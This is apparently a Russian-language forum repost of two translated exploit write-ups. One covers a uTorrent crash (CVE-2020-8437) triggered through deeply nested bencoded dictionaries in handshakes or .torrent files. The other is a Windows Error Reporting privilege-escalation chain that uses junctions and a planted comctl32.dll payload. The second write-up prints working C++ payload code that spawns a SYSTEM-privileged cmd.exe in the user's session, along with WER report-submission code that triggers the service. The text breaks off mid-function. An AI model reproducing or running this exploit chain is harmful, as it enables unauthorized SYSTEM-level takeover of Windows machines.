После того, как одноранговый узел на другом конце получает вышеназванный пакет от первого клиента, он отвечает своим собственным пакетом в том же формате.
Если оба этих узла устанавливают в поле «Зарезервированные байты» бит «Extension Protocol», то рукопожатие усложняется обменом дополнительной информацией об использумых расширениях, используя иной формат пакета.
Расширенный пакет рукопожатия используется одноранговыми узлами с целью обмена информацией о дополнительных расширениях, которые они поддерживают. В отличие от ранее рассмотренного стандартного пакета рукопожатия, размер которого был (практически) статическим, пакет расширенного рукопожатия может динамически увеличиваться, позволяя транспортировать множество дополнительных данных, помимо информации о расширениях.
Поле M - это бенкодированный словарь, формат которого похож на словарь в Python: каждый ключ соответствует своему значению. Однако, в отличие от словарей в Python, бенкодированные словари описывают длину каждой строки перед ее значением, а «d» и «e» используются вместо «{» и «}» соответственно.
Кроме того, Python словарь может содержать отдельный словарь внутри себя (другой словарь внутри него и т. д.), Бенкодированный словарь тоже так умеет.
Уязвимость CVE-2020-8437 заключается в том, как uTorrent анализирует бенкодированные словари, в частности, вложенности. До патча (uTorrent 3.5.5 и ранее) uTorrent использовал целое число (32 бита) чтобы отслеживать, какой уровень в бенкодированном словаре он в настоящее время анализирует. Например, когда uTorrent будет анализировать первый уровень, битовое поле будет содержать значение «00000000 00000000 00000000 00000001», а когда uTorrent будет анализировать второй уровень, битовое поле будет содержать значение «00000000 00000000 00000000 00000011».
«Но что произойдет, если uTorrent проанализирует бенкодированный словарь с более чем 32 вложенными в него словарями?», - с любопытством спросили мы с другом однажды вечером в четверг. Быстро создали такой словарь и загрузили его в парсер для кодирования uTorrent. Результат:
Потрясающе! uTorrent крашнулся! Дальнейшее изучение сбоя выявило его источник: разыменование нулевого указателя.
Существует два простых вектора использования эксплойтов CVE-2020-8437: первый
Как уже было сказано ранее, когда два одноранговых узла, поддерживающих расширенные сообщения, начинают общаться друг с другом, каждый из них отправляет пакет, в котором перечислены различные поддерживаемые ими расширения. Эта информация о поддерживаемых расширениях отправляется в виде бенкодированного словаря, и поскольку этот словарь анализируется клиентом, если он будет вредоносным (более 32 вложенных уровней словарей), он запускает CVE-2020-8437.
Файлы .torrent содержат самую основную информацию, необходимую клиенту для начала загрузки торрентов. Эти файлы открыто распространяются на различных сайтах, загружаются, а затем открываются торрент-клиентами, что фактически делает их возможным средством для запуска уязвимостей в этих торрент-клиентах. Позвольте мне взглянуть на внутреннюю структуру торрент-файла за кулисами и показать, насколько просто использовать его для запуска CVE-2020 -8437: торрент-файл - это просто бенкодированный словарь, сохраненный в виде файла. Итак, чтобы использовать CVE-2020-8437 из файла .torrent, вам просто нужно сохранить злонамеренный словарь в бенкодированном виде в файл и дать этому файлу расширение .torrent.
Посмотрите мой эксплойт с торрент- файлом.
автор: whtaguy
Уязвимости, которые позволяют непривилегированному профилю заставить службу (работающую в контексте безопасности СИСТЕМЫ) удалить произвольный каталог / файл, не редкость. Эти уязвимости по большей части игнорируются исследователями безопасности, ищущими возможности, поскольку не существует установленного пути повышения привилегий с использованием такой примитивной техники. Случайно я нашел такой путь, используя маловероятную причуду в службе отчетов об ошибках Windows. Технические детали не являются ни блестящими, ни новаторскими, хотя несколько пользователей Twitter запросили дополнительную информацию.
Windows Error Reporting Service (WER) отвечает за сбор данных телеметрии при сбое приложения. Со временем в WER было обнаружено множество уязвимостей, и если вы хотите найти редкий экземпляр, это первое место, где его нужно искать. Служба разделена на компонент пользовательского режима и компонент службы, который обменивается данными через COM через ALPC. Отчеты об ошибках создаются, ставятся в очередь и доставляются с использованием файловой системы в качестве временного хранилища.
Файлы хранятся во вложенных папках по адресу
C:\ProgramData\Microsoft\Windows\WER .
Temp используется для хранения собранных данных о сбоях из различных
источников, прежде чем они будут объединены в один файл.
ReportQueue используется, когда отчет готов для доставки на серверы Microsoft. Если доставка невозможна из-за дросселирования или отсутствия подключения к Интернету, попытка доставки будет предпринята позже и доставлена, когда это позволят условия.
ReportArchive - это исторический архив доставленных отчетов.
Разрешения NTFS для папок выбраны так, чтобы любое аварийное приложение могло доставить свои данные в Microsoft. Файлы и папки, связанные с сбоями, созданные во вложенных папках, могут иметь более строгие разрешения в зависимости от контекста безопасности аварийного приложения. Разрешения по умолчанию для корневой папки:
Code:Copy to clipboard
C:\ProgramData\Microsoft\Windows\WER NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
Everyone:(I)(OI)(CI)(RX)
И подпапки:
Code:Copy to clipboard
C:\ProgramData\Microsoft\Windows\WER\ReportArchive BUILTIN\Administrators:(F)
BUILTIN\Administrators:(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(F)
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
NT AUTHORITY\Authenticated Users:(OI)(CI)(R,W,D)
NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(R,W,D)
NT AUTHORITY\NETWORK SERVICE:(OI)(CI)(R,W,D)
NT AUTHORITY\SERVICE:(OI)(CI)(R,W,D)
NT AUTHORITY\WRITE RESTRICTED:(OI)(CI)(R,W,D)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(R,W,D)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(R,W,D)
C:\ProgramData\Microsoft\Windows\WER\ReportQueue BUILTIN\Administrators:(F)
BUILTIN\Administrators:(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(F)
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
NT AUTHORITY\Authenticated Users:(OI)(CI)(R,W,D)
NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(R,W,D)
NT AUTHORITY\NETWORK SERVICE:(OI)(CI)(R,W,D)
NT AUTHORITY\SERVICE:(OI)(CI)(R,W,D)
NT AUTHORITY\WRITE RESTRICTED:(OI)(CI)(R,W,D)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(R,W,D)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(R,W,D)
C:\ProgramData\Microsoft\Windows\WER\Temp BUILTIN\Administrators:(OI)(CI)(F)
NT AUTHORITY\Authenticated Users:(OI)(CI)(R,W,D)
NT AUTHORITY\SERVICE:(OI)(CI)(R,W,D)
NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(R,W,D)
NT AUTHORITY\NETWORK SERVICE:(OI)(CI)(R,W,D)
NT AUTHORITY\WRITE RESTRICTED:(OI)(CI)(R,W,D)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(R,W,D)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(R,W,D)
Основная причина, позволяющая использовать произвольное удаление привилегированного каталога для повышения привилегий, - это неожиданный логический поток в WER. Если корневой папки не существует, когда это необходимо для создания отчета, она будет создана - здесь ничего удивительного. Однако удивительно то, что папка создается со следующими разрешениями:
Code:Copy to clipboard
C:\ProgramData\Microsoft\Windows\WER BUILTIN\Administrators:(OI)(CI)(F)
NT AUTHORITY\Authenticated Users:(OI)(CI)(R,W,D)
NT AUTHORITY\SERVICE:(OI)(CI)(R,W,D)
NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(R,W,D)
NT AUTHORITY\NETWORK SERVICE:(OI)(CI)(R,W,D)
NT AUTHORITY\WRITE RESTRICTED:(OI)(CI)(R,W,D)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(R,W,D)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(R,W,D)
Новые разрешения позволяют сделать корневую папку связной папкой с помощью непривилегированного профиля. Это сценарий, на который служба не была запрограммирована. Однако даже если у нас есть уязвимость, которая удаляет каталог в контексте безопасности СИСТЕМЫ, это не поможет нам, поскольку каталог не пуст. Очистка каталога может сразу показаться невозможной, если папка ReportArchive содержит файлы, принадлежащие Системе с ограниченными разрешениями, как это часто бывает. Но на самом деле это не проблема. Нам нужно разрешение DELETE в родительской папке. Разрешения для дочерних файлов и папок не имеют значения.
Малоизвестная деталь NTFS заключается в том, что операцию переименования можно использовать для перемещения файлов и папок в любое место на томе. Для операции переименования требуется разрешение DELETE для источника и разрешение FILE_ADD_FILE / FILE_ADD_SUBDIRECTORY для папки назначения. Перемещая все подпапки C:\ProgramData\Microsoft\Windows\WER в другое доступное для записи место, такое как C: \ Windows \ Temp, мы обходим любые ограничения для файлов внутри подпапок. Теперь уязвимость удаления произвольного каталога может быть успешно использована на C:\ProgramData\Microsoft\Windows\WER. Если уязвимость позволяет удалить файл только потому, что NtCreateFile вызывается с FILE_NON_DIRECTORY_FILE, это ограничение можно обойти, открыв путь C:\ProgramData\Microsoft\Windows\WER::$INDEX_ALLOCATION.
Когда папка исчезнет, следующий шаг - заставить службу WER воссоздать ее. Это можно сделать, запустив задачу \Microsoft\Windows\Windows Error Reporting\QueueReporting. Задача запускается непривилегированным профилем, но выполняется как SYSTEM. После завершения задачи мы видим новую, более разрешительную папку, но мы также видим, что подпапки также воссоздаются. Чтобы использовать наше новое разрешение FILE_WRITE_ATTRIBUTES для воссозданной папки для превращения ее в папку соединения, мы должны сначала сделать ее пустой (или нет ... но это подлежит другой записи). Мы повторяем операции перемещения с подкаталогами, как и раньше, и теперь мы можем создать нашу соединительную папку.
Если точка соединения нацелена на папку \ ??
c:\windows\system32\wermgr.exe.local, служба отчетов об ошибках создаст
целевую папку с тем же разрешающим ACL. При каждом запуске wermgr.exe пытается
открыть папку wermgr.exe.local, и если она открыта, она будет иметь наивысший
приоритет при нахождении файлов DLL «бок о бок (SxS)». Если папка .local
существует, затем предпринимается попытка открыть подпапку
amd64_microsoft.windows.common-
controls_6595b64144ccf1df_6.0.18362.778_none_e6c6b761130d4fb8, и в случае
успеха из нее загружается Comctl32.dll. Создав DLL полезной нагрузки и
поместив ее в папку amd64_microsoft.windows.common-
controls_6595b64144ccf1df_6.0.18362.778_none_e6c6b761130d4fb8 с именем
comctl32.dll, она будет загружена функцией LoadLibrary в контексте
безопасности SYSTEM при следующем запуске службы WER.
Когда DLL-файл загружается с помощью LoadLibrary, его функция DllMain выполняется процессом загрузки с аргументом ul_reason_for_call, имеющим значение DLL_PROCESS_ATTACH. В этом сценарии сохранение функциональности процесса загрузки не является приоритетом. Мы просто хотим отключиться от процесса и выполнить код в нашем собственном процессе. Создав командную строку, мы можем обеспечить визуальную индикацию успешного выполнения. Это также позволяет использовать расширенные привилегии, поскольку командная строка наследует расширенные привилегии. Самое главное, он отключает выполнение от службы отчетов об ошибках, поэтому командная строка будет продолжать работу, даже если служба завершится!
Однако есть препятствие для запуска командной строки. Служба работает в сеансе 0. Процессы, запущенные в сеансе 0, не могут создавать объекты на рабочем столе, это могут делать только процессы в сеансе 1 (по умолчанию). Чтобы запустить командную строку в текущем активном сеансе, мы можем получить номер активного сеанса с помощью функции WTSGetActiveConsoleSessionId (). Запустить приглашение можно с помощью следующего кода:
C++:Copy to clipboard
bool spawnShell()
{
STARTUPINFO startInfo = { 0x00 };
startInfo.cb = sizeof(startInfo);
startInfo.wShowWindow = SW_SHOW;
startInfo.lpDesktop = const_cast<wchar_t*>( L"WinSta0\\Default" );
PROCESS_INFORMATION procInfo = { 0x00 };
HANDLE hToken = {};
DWORD sessionId = WTSGetActiveConsoleSessionId();
OpenProcessToken( GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken );
DuplicateTokenEx( hToken, TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, &hToken );
SetTokenInformation(hToken, TokenSessionId, &sessionId, sizeof(sessionId));
if ( CreateProcessAsUser( hToken,
expandPath(L"%WINDIR%\\system32\\cmd.exe").c_str(),
const_cast<wchar_t*>( L"" ),
nullptr,
nullptr,
FALSE,
NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,
nullptr,
nullptr,
&startInfo,
&procInfo
)
) {
CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
}
return true;
}
Функция открывает токен текущего процесса (службы) и дублирует его как первичный токен (он уже есть, но мы должны выбрать). Затем дублированный идентификатор сеанса токенов изменяется на идентификатор, возвращаемый WTSGetActiveConsoleSessionId (). Используя измененный токен для запуска командной строки, мы получаем контекст безопасности службы и выполнения в нашем сеансе. В моей полезной нагрузке по умолчанию есть некоторые дополнительные вещи, которые мне нравятся. Вещи, которые помогают, когда dll выполняется с более ограниченными разрешениями. Если служба работает как профиль локальной службы, у нас нет разрешения на изменение сеанса пользователя. Поэтому я использую функцию WTSSendMessage () для создания диалогового окна на рабочем столе активных сеансов. Эта функция работает даже тогда, когда все другие возможности для создания чего-либо на рабочем столе невозможны. Отображаемые данные также регистрируются в средстве просмотра событий. Мне нравится отображать имя профиля, который мы выполняем, имя файла, под которым загружается dll, и имя файла процесса загрузки. Иногда оболочка выскакивает, потому что я установил dll за несколько месяцев до этого, и случайно создаются определенные условия, при которых dll загружается. В таких случаях эта информация бесценна, потому что, если служба завершается до того, как я ее увижу, выяснить, почему эта оболочка выскочила, практически невозможно. Еще я люблю пищать. Тогда, даже если все скрыто, потому что компьютер заблокирован, я все равно получаю сообщение о том, что мои полезные данные выполняются, и могу смотреть в журнал событий.
Один из способов реализации упомянутой функциональности:
C++:Copy to clipboard
#include <filesystem>
#include <wtsapi32.h>
#include <Lmcons.h>
#include <iostream>
#include <string>
#include <Windows.h>
#include <wtsapi32.h>
#pragma comment(lib, "Wtsapi32.lib")
using namespace std;
wstring expandPath(const wchar_t* input) {
wchar_t szEnvPath[MAX_PATH];
::ExpandEnvironmentStringsW(input, szEnvPath, MAX_PATH);
return szEnvPath;
}
auto getUsername() {
wchar_t usernamebuf[UNLEN + 1];
DWORD size = UNLEN + 1;
GetUserName((TCHAR*)usernamebuf, &size);
static auto username = wstring{ usernamebuf };
return username;
}
auto getProcessFilename() {
wchar_t process_filenamebuf[MAX_PATH]{ 0x0000 };
GetModuleFileName(0, process_filenamebuf, MAX_PATH);
static auto process_filename = wstring{ process_filenamebuf };
return process_filename;
}
auto getModuleFilename(HMODULE hModule = nullptr) {
wchar_t module_filenamebuf[MAX_PATH]{ 0x0000 };
if(hModule != nullptr) GetModuleFileName(hModule, module_filenamebuf, MAX_PATH);
static auto module_filename = wstring{ module_filenamebuf };
return module_filename;
}
bool showMessage() {
Beep( 4000, 400 );
Beep( 4000, 400 );
Beep( 4000, 400 );
auto m = L"This file:\n"s + getModuleFilename() + L"\nwas loaded by:\n"s + getProcessFilename() + L"\nrunning as:\n" + getUsername() ;
auto message = (wchar_t*)m.c_str();
DWORD messageAnswer{};
WTSSendMessage( WTS_CURRENT_SERVER_HANDLE, WTSGetActiveConsoleSessionId(), (wchar_t*)L"",0 ,message ,lstrlenW(message) * 2,0 ,0 ,&messageAnswer ,true );
return true;
}
static const auto init = spawnShell();
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
{
getModuleFilename(hModule);
static auto const msgshown = showMessage();
}
Окончательное выполнение эксплойта с полезной нагрузкой должно выглядеть так:
Альтернативой использованию запланированной задачи для запуска потока отправки отчета является отправка отчета об ошибке с использованием экспортированной функции C в wer.dll. Если отчет представлен с флагом WER_SUBMIT_OUTOFPROCESS, служба будет обрабатывать операции, необходимые для наших целей, вместо компонента пользовательского режима.
Исходный код для отправки отчета об ошибке - wer.h
C++:Copy to clipboard
typedef HANDLE HREPORT;
// Do not add heap dumps for reports for the process
#define WER_FAULT_REPORTING_FLAG_NOHEAP 1<<
// Queue critical reports for this process
#define WER_FAULT_REPORTING_FLAG_QUEUE 2
// Do not suspend the process before error reporting
#define WER_FAULT_REPORTING_FLAG_DISABLE_THREAD_SUSPENSION 4
// Queue critical reports for this process and upload from the queue
#define WER_FAULT_REPORTING_FLAG_QUEUE_UPLOAD 8
// Fault reporting UI should always be shown. This is only applicable for interactive processes
#define WER_FAULT_REPORTING_ALWAYS_SHOW_UI 16
// Fault reporting UI should not be shown.
#define WER_FAULT_REPORTING_NO_UI 32
// Do not add heap dumps when queueing reports for the process
#define WER_FAULT_REPORTING_FLAG_NO_HEAP_ON_QUEUE 64
// Disable snapshots for crash/exception reporting.
#define WER_FAULT_REPORTING_DISABLE_SNAPSHOT_CRASH 128
// Disable snapshots for hang reporting.
#define WER_FAULT_REPORTING_DISABLE_SNAPSHOT_HANG 256
// Mark the process as critical.
#define WER_FAULT_REPORTING_CRITICAL 512
// Mark the process as requiring flushing of its report store.
#define WER_FAULT_REPORTING_DURABLE 1024
// This is the maximum length of any created URL
// NOTE: This constant is obsolete since Win9.
#define WER_MAX_TOTAL_PARAM_LENGTH 1720
// Number of extra modules that we can select to get extra data in the minidump
#define WER_MAX_PREFERRED_MODULES 128
#define WER_MAX_PREFERRED_MODULES_BUFFER 256
// The maximum size of memory block that can be registered
#define WER_MAX_MEM_BLOCK_SIZE ( 64 * 1024 )
// Event Type constants for application crashes
#define APPCRASH_EVENT L"APPCRASH"
#define PACKAGED_APPCRASH_EVENT L"MoAppCrash"
// Indexes for the parameter ids
#define WER_P0 0
#define WER_P1 1
#define WER_P2 2
#define WER_P3 3
#define WER_P4 4
#define WER_P5 5
#define WER_P6 6
#define WER_P7 7
#define WER_P8 8
#define WER_P9 9
// Custom error HRESULTS
#define WER_E_INSUFFICIENT_BUFFER ( HRESULT_FROM_WIN32( ERROR_INSUFFICIENT_BUFFER ) )
#define WER_E_NOT_FOUND ( HRESULT_FROM_WIN32( ERROR_NOT_FOUND ) )
#define WER_E_LENGTH_EXCEEDED ( HRESULT_FROM_WIN32( ERROR_PARAMETER_QUOTA_EXCEEDED ) )
#define WER_E_INVALID_STATE ( HRESULT_FROM_WIN32( ERROR_INVALID_STATE ) )
#define WER_E_MISSING_DUMP ( HRESULT_FROM_WIN32( ERROR_MISSING_SYSTEMFILE ) )
#define WER_E_CABBING_FAILURE ( HRESULT_FROM_WIN32( ERROR_GEN_FAILURE ) )
/////////////////////////////////////////////////////////////////////////////
// The enum that describes the indexes of the customizable UI strings
typedef enum _WER_REPORT_UI
{
WerUIAdditionalDataDlgHeader = 1,
WerUIIconFilePath = 2,
WerUIConsentDlgHeader = 3,
WerUIConsentDlgBody = 4,
WerUIOnlineSolutionCheckText = 5,
WerUIOfflineSolutionCheckText = 6,
WerUICloseText = 7,
WerUICloseDlgHeader = 8,
WerUICloseDlgBody = 9,
WerUICloseDlgButtonText = 10,
WerUIMax
} WER_REPORT_UI;
// The type of the registered files
typedef enum _WER_REGISTER_FILE_TYPE
{
WerRegFileTypeUserDocument = 1,
WerRegFileTypeOther = 2,
WerRegFileTypeMax
} WER_REGISTER_FILE_TYPE;
// The type of files that can be added to the report
typedef enum _WER_FILE_TYPE
{
WerFileTypeMicrodump = 1,
WerFileTypeMinidump = 2,
WerFileTypeHeapdump = 3,
WerFileTypeUserDocument = 4,
WerFileTypeOther = 5,
WerFileTypeTriagedump = 6,
WerFileTypeCustomDump = 7,
WerFileTypeAuxiliaryDump = 8,
WerFileTypeEtlTrace = 9,
WerFileTypeMax
} WER_FILE_TYPE;
typedef enum _WER_SUBMIT_RESULT
{
WerReportQueued = 1,
WerReportUploaded = 2,
WerReportDebug = 3,
WerReportFailed = 4,
WerDisabled = 5,
WerReportCancelled = 6,
WerDisabledQueue = 7,
WerReportAsync = 8,
WerCustomAction = 9,
WerThrottled = 10,
WerReportUploadedCab = 11,
WerStorageLocationNotFound = 12,
WerSubmitResultMax
} WER_SUBMIT_RESULT,
* PWER_SUBMIT_RESULT;
// The type of the report
typedef enum _WER_REPORT_TYPE
{
WerReportNonCritical = 0,
WerReportCritical = 1,
WerReportApplicationCrash = 2,
WerReportApplicationHang = 3,
WerReportKernel = 4,
WerReportInvalid
} WER_REPORT_TYPE;
// Flags that can be specified when adding a file to the report.
// NOTE: These should always occupy the lower 16 bits of the file flag dword.
// The upper 16 bits are reserved for internal use and get cleared by WerAddFile.
#define WER_FILE_DELETE_WHEN_DONE 1 // Delete the file once WER is done
#define WER_FILE_ANONYMOUS_DATA 2 // This file does not contain any PII
#define WER_FILE_COMPRESSED 4 // This file has been compressed using SQS
// Report submission flags.
#define WER_SUBMIT_HONOR_RECOVERY 1 // show recovery option
#define WER_SUBMIT_HONOR_RESTART 2 // show application restart option
#define WER_SUBMIT_QUEUE 4 // report directly to queue
#define WER_SUBMIT_SHOW_DEBUG 8 // show the debug button
#define WER_SUBMIT_ADD_REGISTERED_DATA 16 // Add registered data to the WER report
#define WER_SUBMIT_OUTOFPROCESS 32 // Force the report to go out of process
#define WER_SUBMIT_NO_CLOSE_UI 64 // Do not show the close dialog for the critical report
#define WER_SUBMIT_NO_QUEUE 128 // Do not queue the report
#define WER_SUBMIT_NO_ARCHIVE 256 // Do not archive the report
#define WER_SUBMIT_START_MINIMIZED 512 // The initial reporting UI is minimized and will flash
#define WER_SUBMIT_OUTOFPROCESS_ASYNC 1024 // Force the report to go out of process and do not wait for it to finish
#define WER_SUBMIT_BYPASS_DATA_THROTTLING 2048 // Bypass data throttling for the report
#define WER_SUBMIT_ARCHIVE_PARAMETERS_ONLY 4096 // Archive only the parameters; the cab is discarded
#define WER_SUBMIT_REPORT_MACHINE_ID 8192 // Always send the machine ID, regardless of the consent the report was submitted with
#define WER_SUBMIT_BYPASS_POWER_THROTTLING 16384 // Bypass power-related throttling (when on battery)
#define WER_SUBMIT_BYPASS_NETWORK_COST_THROTTLING 32768 // Bypass network-related throttling (when on restricted networks)
#define WER_SUBMIT_DISCARD_IF_QUEUED WER_SUBMIT_NO_QUEUE
#if( NTDDI_VERSION >= NTDDI_WIN8 )
typedef struct _WER_REPORT_INFORMATION_V3 {
DWORD dwSize;
HANDLE hProcess;
WCHAR wzConsentKey[64];
WCHAR wzFriendlyEventName[128];
WCHAR wzApplicationName[128];
WCHAR wzApplicationPath[MAX_PATH];
WCHAR wzDescription[512];
HWND hwndParent;
WCHAR wzNamespacePartner[64];
WCHAR wzNamespaceGroup[64];
} WER_REPORT_INFORMATION_V3, * PWER_REPORT_INFORMATION_V3;
#endif // NTDDI_VERSION >= NTDDI_WIN8
typedef struct _WER_DUMP_CUSTOM_OPTIONS {
DWORD dwSize;
DWORD dwMask;
DWORD dwDumpFlags;
BOOL bOnlyThisThread;
DWORD dwExceptionThreadFlags;
DWORD dwOtherThreadFlags;
DWORD dwExceptionThreadExFlags;
DWORD dwOtherThreadExFlags;
DWORD dwPreferredModuleFlags;
DWORD dwOtherModuleFlags;
WCHAR wzPreferredModuleList[WER_MAX_PREFERRED_MODULES_BUFFER];
} WER_DUMP_CUSTOM_OPTIONS, * PWER_DUMP_CUSTOM_OPTIONS;
typedef struct _WER_DUMP_CUSTOM_OPTIONS_V2 {
DWORD dwSize;
DWORD dwMask;
DWORD dwDumpFlags;
BOOL bOnlyThisThread;
DWORD dwExceptionThreadFlags;
DWORD dwOtherThreadFlags;
DWORD dwExceptionThreadExFlags;
DWORD dwOtherThreadExFlags;
DWORD dwPreferredModuleFlags;
DWORD dwOtherModuleFlags;
WCHAR wzPreferredModuleList[WER_MAX_PREFERRED_MODULES_BUFFER];
DWORD dwPreferredModuleResetFlags;
DWORD dwOtherModuleResetFlags;
} WER_DUMP_CUSTOM_OPTIONS_V2, * PWER_DUMP_CUSTOM_OPTIONS_V2;
#if( NTDDI_VERSION >= NTDDI_WINBLUE )
typedef struct _WER_REPORT_INFORMATION_V4 {
DWORD dwSize;
HANDLE hProcess;
WCHAR wzConsentKey[64];
WCHAR wzFriendlyEventName[128];
WCHAR wzApplicationName[128];
WCHAR wzApplicationPath[MAX_PATH];
WCHAR wzDescription[512];
HWND hwndParent;
WCHAR wzNamespacePartner[64];
WCHAR wzNamespaceGroup[64];
BYTE rgbApplicationIdentity[16];
HANDLE hSnapshot;
HANDLE hDeleteFilesImpersonationToken;
} WER_REPORT_INFORMATION_V4, * PWER_REPORT_INFORMATION_V4;
typedef WER_REPORT_INFORMATION_V4 const* PCWER_REPORT_INFORMATION_V4;
#endif // NTDDI_VERSION >= NTDDI_WINBLUE
#if( NTDDI_VERSION >= NTDDI_WIN10 )
typedef struct _WER_REPORT_INFORMATION {
DWORD dwSize;
HANDLE hProcess;
WCHAR wzConsentKey[64];
WCHAR wzFriendlyEventName[128];
WCHAR wzApplicationName[128];
WCHAR wzApplicationPath[MAX_PATH];
WCHAR wzDescription[512];
HWND hwndParent;
WCHAR wzNamespacePartner[64];
WCHAR wzNamespaceGroup[64];
BYTE rgbApplicationIdentity[16];
HANDLE hSnapshot;
HANDLE hDeleteFilesImpersonationToken;
WER_SUBMIT_RESULT submitResultMax;
} WER_REPORT_INFORMATION, * PWER_REPORT_INFORMATION;
typedef WER_REPORT_INFORMATION const* PCWER_REPORT_INFORMATION;
#endif // NTDDI_VERSION >= NTDDI_WIN10
typedef struct _WER_DUMP_CUSTOM_OPTIONS_V3 {
DWORD dwSize;
DWORD dwMask;
DWORD dwDumpFlags;
BOOL bOnlyThisThread;
DWORD dwExceptionThreadFlags;
DWORD dwOtherThreadFlags;
DWORD dwExceptionThreadExFlags;
DWORD dwOtherThreadExFlags;
DWORD dwPreferredModuleFlags;
DWORD dwOtherModuleFlags;
WCHAR wzPreferredModuleList[WER_MAX_PREFERRED_MODULES_BUFFER];
DWORD dwPreferredModuleResetFlags;
DWORD dwOtherModuleResetFlags;
PVOID pvDumpKey;
HANDLE hSnapshot;
DWORD dwThreadID;
} WER_DUMP_CUSTOM_OPTIONS_V3, * PWER_DUMP_CUSTOM_OPTIONS_V3;
typedef WER_DUMP_CUSTOM_OPTIONS_V3 const* PCWER_DUMP_CUSTOM_OPTIONS_V3;
typedef struct _WER_EXCEPTION_INFORMATION {
PEXCEPTION_POINTERS pExceptionPointers;
BOOL bClientPointers;
} WER_EXCEPTION_INFORMATION, * PWER_EXCEPTION_INFORMATION;
typedef enum _WER_CONSENT
{
WerConsentNotAsked = 1,
WerConsentApproved = 2,
WerConsentDenied = 3,
WerConsentAlwaysPrompt = 4,
WerConsentMax
} WER_CONSENT;
template< typename modHandleType, typename procNameType >
auto getProcAddressOrThrow(modHandleType modHandle, procNameType procName) {
auto address = GetProcAddress(modHandle, procName);
if (address == nullptr) throw std::exception{ (std::string{"Error importing: "} +(std::string{procName})).c_str() };
return address;
}
#define CONCAT( id1, id2 ) id1##id2
// Notice- the comma operator is used to make sure the dll is loaded, discard the result- then getModuleHandle is used
#define IMPORTAPI( DLLFILE, FUNCNAME, RETTYPE, ... ) \
typedef RETTYPE( WINAPI* CONCAT( t_, FUNCNAME ) )( __VA_ARGS__ ); \
template< typename... Ts > \
auto FUNCNAME( Ts... ts ) { \
const static CONCAT( t_, FUNCNAME ) func = \
(CONCAT( t_, FUNCNAME )) getProcAddressOrThrow( ( LoadLibrary( DLLFILE ), GetModuleHandle( DLLFILE ) ), #FUNCNAME ); \
return func( std::forward< Ts >( ts )... ); \
}
IMPORTAPI(L"WER.dll", WerSysprepCleanup, HRESULT, __int64 number);
IMPORTAPI(L"WER.dll", WerpAddAppCompatData, void, int* param_1, LPCWSTR param_2, wchar_t* param_3);
IMPORTAPI(L"WER.dll", WerpReportCancel, HRESULT, HREPORT hReportHandle);
IMPORTAPI(L"WER.dll", WerReportSetParameter, HRESULT, HREPORT, DWORD dwparamID, PCWSTR pwzName, PCWSTR pwzValue);
IMPORTAPI(L"WER.dll", WerReportAddFile, HRESULT, HREPORT, PCWSTR pwzPath, WER_FILE_TYPE, DWORD dwFileFlags);
IMPORTAPI(L"WER.dll", WerReportCloseHandle, HRESULT, HREPORT hReportHandle);
IMPORTAPI(L"WER.dll", WerReportSubmit, HRESULT, HREPORT, WER_CONSENT consent, DWORD dwFlags, PWER_SUBMIT_RESULT);
IMPORTAPI(L"WER.dll", WerpCreateMachineStore, HRESULT);
IMPORTAPI(L"WER.dll", WerRegisterAppLocalDump, HRESULT, PCWSTR localAppDataRelativePath);
IMPORTAPI(L"WER.dll", WerpCleanWer, HRESULT, HREPORT);
IMPORTAPI(L"WER.dll", WerReportCreate, HRESULT, PCWSTR pwzEventType, WER_REPORT_TYPE repType, PWER_REPORT_INFORMATION pReportInformation, HREPORT* phReportHandle);
IMPORTAPI(L"kernel32.dll", WerRegisterRuntimeExceptionModule, HRESULT, PCWSTR dll, PVOID);
#define safecpy( src, dest ) lstrcpynW( dest, src, ARRAYSIZE( src ) )
bool submitBlankReport(bool async = false)
{
WER_REPORT_INFORMATION report = { 0 };
report.dwSize = sizeof(WER_REPORT_INFORMATION);
if (!safecpy(L".", report.wzConsentKey)) throw std::exception{ "Failed to set consent key" };
if (!safecpy(L" ", report.wzApplicationName)) throw std::exception{ "Fai led to set app name" };
if (!safecpy(L"WER", report.wzApplicationPath)) throw std::exception{ "Failed to set AppPath" };
if (!safecpy(L"", report.wzDescription)) throw std::exception{ "Failed to set description" };
if (!safecpy(L"", report.wzFriendlyEventName)) throw std::exception{ "Failed to set FriendlyEventName" };
auto reportCloser = [](HREPORT* report) {
if (FAILED(WerReportCloseHandle(*report))) throw std::exception{ "ReportCancel failed" };
delete report;
};
auto hReport{ std::unique_ptr< HREPORT, decltype(reportCloser) > { new HREPORT {}, reportCloser } };
if( FAILED(WerReportCreate(L".", WerReportNonCritical, &report, hReport.get())) )
throw std::exception{ "WerReportCreate failed" };
WER_SUBMIT_RESULT SubmitResult;
if( FAILED(
WerReportSubmit(
*hReport.get(),
WerConsentNotAsked,
(async ? WER_SUBMIT_OUTOFPROCESS_ASYNC : WER_SUBMIT_OUTOFPROCESS) | WER_SUBMIT_QUEUE | WER_SUBMIT_ARCHIVE_PARAMETERS_ONLY,
&SubmitResult
)
